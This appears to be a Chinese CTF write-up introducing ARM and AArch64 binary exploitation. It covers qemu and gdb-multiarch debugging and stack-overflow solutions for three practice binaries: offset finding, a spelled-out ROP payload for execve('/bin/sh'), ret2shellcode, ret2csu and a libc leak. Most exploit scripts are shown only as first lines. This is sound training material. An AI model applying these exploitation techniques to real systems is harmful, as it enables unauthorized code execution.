arm pwn 入门
arm pwn基本技能
qemu调试arm用户态程序
| 1 | 使用qemu-arm将程序运行起来,并指定一个端口用于连接gdb | 
调试mips程序的设置也类似
| 1 | 启动mips应用程序,并指定调试端口 | 
安装arm64的lib库
| 1 | sudo apt search "libc6-" | grep "arm" | 
qemu-aarch64执行时通过-L指定/usr/aarch64-linux-gnu目录即可,如:
| 1 | qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn | 
练习题 - typo
题目文件:typo
分析
查看文件属性,arm32位可执行程序,静态连接,去符号表。
查看编译选项,栈无canary但栈不可执行,程序未开启随机化故加载基址固定。
| 1 | bling@Ubuntu2004:~/ctf$ file ./typo | 
通过start()函数或关键字符串的交叉引用来寻找main()函数。
- start函数中LDR R0,=sub_8F00中的sub_8F00就是main函数 - 1 
 2
 3
 4
 5
 6- .text:00008BB4 PUSH {R12} 
 .text:00008BB8 LDR R0, =sub_8F00
 .text:00008BBC LDR R3, =0xA5EC
 .text:00008BC0 BL sub_9EBC
 .text:00008BC4 BL sub_F0E0
 .text:00008BC4 ; End of function start
- 关键字符串,如运行时打印的 - Let's Do Some Typing Exercise~,在IDA中寻找对该字符串的引用
对于这种输入类的题,首先想到的是输入一个超长字符串看程序会不会崩。果然崩掉了。
| 1 | qemu-arm ./typo | 
使用gdb-multiarch调试一下崩溃位置,是否覆盖了返回地址
- qemu-arm侧 - 1 - qemu-arm -g 1234 ./typo 
- gdb-multiarch侧 - 1 
 2
 3
 4
 5
 6
 7
 8- gdb-multiarch ./typo 
 GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
 set architecture arm
 The target architecture is assumed to be arm
 set endian little
 The target is assumed to be little endian
 target remote :1234
 Remote debugging using :1234- 这里在gdb内设置的set和target remote都可以写在一个配置文档里,通过 - gdb-multiarch -x abc.cfg指定。
- pwntools生成字符串pattern - 1 
 2
 3- >> from pwn import * 
 >> cyclic(200)
 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'- 接下来: 
- gdb-multiarch内执行 - c
- qemu-arm界面,回车后,将上述200个字符输入 
- 回到gdb-multiarch界面,可以看到如下寄存器信息,PC指针被我们的输入覆盖了 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16- ─────────────────────────────────[ REGISTERS ]────────────────────────────────── 
 R0 0x0
 *R1 0xfffeeed4 ◂— 0x61616161 ('aaaa')
 *R2 0x7e
 R3 0x0
 *R4 0x62616162 ('baab')
 R5 0x0
 R6 0x0
 R7 0x0
 R8 0x0
 *R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
 *R10 0xa68c ◂— push {r3, r4, r5, lr}
 *R11 0x62616163 ('caab')
 R12 0x0
 *SP 0xfffeef48 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
 *PC 0x62616164 ('daab')
- 在pwntools中确定 - 'daab'的偏移量,为112- 1 
 2- >>> cyclic_find('daab') 
 112
- 因此,我们通过padding 112个字符,就能覆盖函数返回地址,劫持控制流 
利用
方法1 - ret2shellcode
方法2 - rop:svc
svc:id=0xb;R0=addr(“/bin/sh”);R1=0;R2=0
以上系统调用等同于execve(“/bin/sh”,0,0)
找到/bin/sh字符串地址:
| 1 | ROPgadget --binary ./typo --string /bin/sh | 
找ropgadget:
| 1 | ROPgadget --binary ./typo --only "pop" | 
找svc:
| 1 | ROPgadget --binary ./typo | grep 'svc #0' | 
找mov指令:
| 1 | ROPgadget --binary ./typo | grep 'mov r2, r4' | 
我们的最终目标是:
- R0 = “/bin/sh”
- R1 = 0
- R2 = 0
- R7 = 0xb (对应arm下execve的系统调用)
- Rx = svc
根据目标,构造了如下rop链:
| 1 | g1 - 0x00020904 : pop {r0, r4, pc} | 
以上rop链对应的payload为:
| 1 | payload = p32(0x00020904)+p32(0x0006c384)+p32(0)+p32(0x00068bec)+p32(0)+p32(0x00023dbc)+p32(0)+p32(0xb)+p32(0x00008160)+p32(0x0001aca8)+p32(0x0003338c) | 
完整exp如下:
| 1 | from pwn import * | 
方法3 - rop:func(“/bin/sh”)
system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0)
使用类似pop {r0,pc}的gadget,实现对r0(第一个参数)和pc的控制,从而劫持控制流到system(“/bin/sh”)
练习题 - pwn
题目文件:pwn
分析
查看文件属性、IDA逆向二进制文件分析后,调试结果如下:
- 程序有两次输入。第一次输入将被放到bss段,限制了输入大小为0x200。这里没有问题。 
- 第二次输入时,将输入0x200字节的数据给栈上的局部变量。如下所示,明显的栈溢出。 - 1 
 2
 3
 4
 5
 6- ssize_t sub_4007F0() 
 {
 __int64 v1; // [xsp+10h] [xbp+10h] BYREF
 return read(0, &v1, 0x200uLL);
 }
- 因此尝试调试输入超长字符串是否能成功覆盖返回地址,劫持pc指针。如下证明输入确实控制了pc。 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33- ─────────────────────────────────[ REGISTERS ]────────────────────────────────── 
 X0 0x0
 *X1 0x40007ffdb0 ◂— 0x6161616261616161 ('aaaabaaa')
 *X2 0x200
 *X3 0x40009a21a8 ◂— 0x0
 X4 0x0
 X5 0x0
 *X6 0x400099eb00 ◂— 0x0
 *X7 0x4000000000
 *X8 0x3f
 *X9 0xffffffffffff
 *X10 0x101010101010101
 X11 0x0
 X12 0x0
 *X13 0x400082e048 —▸ 0x400082f1b0 ◂— 0x0
 *X14 0x400085a308 ◂— 0x70737274735f5f00
 *X15 0x400084ce08 ◂— 0x0
 *X16 0x411028 —▸ 0x400090b9c8 ◂— 0xb0000483a9bd7bfd
 *X17 0x400090b9c8 ◂— 0xb0000483a9bd7bfd
 *X18 0x367
 *X19 0x400868 ◂— stp x29, x30, [sp, #-0x40]!
 X20 0x0
 *X21 0x400610 ◂— movz x29, #0
 X22 0x0
 X23 0x0
 X24 0x0
 X25 0x0
 X26 0x0
 X27 0x0
 X28 0x0
 *X29 0x6161617261616171 ('qaaaraaa')
 *SP 0x40007ffe00 ◂— 'uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaac\n'
 *PC 0x6161617461616173 ('saaataaa')
- 确定偏移量,为72 - 1 
 2- >> cyclic_find('saaa') 
 72- 利用
标准qemu上
ret2shellcode
| 1 | from pwn import * | 
补丁qemu上
补丁qemu上,bss段不可执行。考虑使用mprotect() 函数将bss段设置为可读可写可执行。
| 1 | 
 | 
ret2csu
arm下的ret2csu可以实现两次控制流劫持:1、从0x4008cc处进入,通过布置好栈空间控制x19~x30内的几个寄存器,并将x30设置为0x4008ac,从而使程序执行上面这段gadget;2、进入0x4008ac后,w0/x1/x2/x3都会被栈空间的值给覆盖,将x3设置为目标地址,可以实现第一次控制流劫持;3、blr x3返回后继续往下执行,如果此时x19和x20的值相同,就又会执行到0x4008cc;4、此时,通过布置栈空间可以再次控制x30,当执行到ret时,就实现了第二次控制流劫持。
| 1 | .text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j | 
画个图表示一下实现两次控制流劫持时,栈空间的布局。x29处是低地址,x24处是高地址。
| 1 | 第 一 段 栈 空 间 | 
整理一下利用思路:
- 第一次输入将shellcode放入bss段 
- 第二次输入时溢出覆盖返回地址(至ret2csu),并布置好栈空间 - 第一段栈空间实现跳转到下一个gadget,并将关键寄存器赋值
- 第二段栈空间实现一个跳转,一般是跳到shellcode或某个关键函数地址上执行
 
接下来,只需要对照着IDA仔细地将栈空间布置好,就可以了。exp如下
| 1 | from pwn import * | 
练习题 - melong
题目文件:melong.zip
分析
write_diary()函数中,read()的第三个参数nbytes来自于函数参数。a2是main()函数中的一个局部变量。
| 1 | DWORD *__fastcall write_diary(_DWORD *result, void *a2) | 
跟踪到上一级,来自v8[0],它是PT()函数的返回值。
| 1 | v8[0] = PT(v3); | 
PT()函数内部,当ptr == exc2时,返回值为输入的size。
| 1 | _isoc99_scanf("%d", &size); | 
因此,只要控制ptr == exec2,就可以在write_diary()函数中,利用read(0, a2, nbytes)达到栈溢出覆盖返回地址的目的。
exec2是bss段的值,初始化为0。因此,当malloc(size)执行失败时,就可以达到ptr == exec2的目的。
利用
方法1 - ret2shellcode
exp如下:
| 1 | from pwn import * | 
方法2 - 泄露libc与getshell分开
泄露libc:
- 利用代码段中 的bl puts,构造puts(puts_got) 
- 利用puts的plt项,puts(puts_got) 
- libc中的puts()函数也是可执行的,但是由于libc基址还未泄露,不适用于这里使用
getshell:
- libc中寻找system和“/bin/sh” 
- system(“/bin/sh”) 
方法3 - 泄露libc与getshell二合一
在代码段寻找特殊bl puts代码,如0x110bc处。特殊之处在于,执行完puts后,会pop {r11,pc},这样我们就可以继续控制pc。
- 利用bl puts泄露libc
- 利用0x110c4处的pop将控制流重新劫持到main,当再次栈溢出时控制执行system(“/bin/sh”)
| 1 | .text:000110B0 check_first ; CODE XREF: main+10C↓p | 
完整exp如下:
| 1 | from pwn import * | 
参考wp
pwndbg常用指令
| 1 | i r lr # 查看lr寄存器的值 |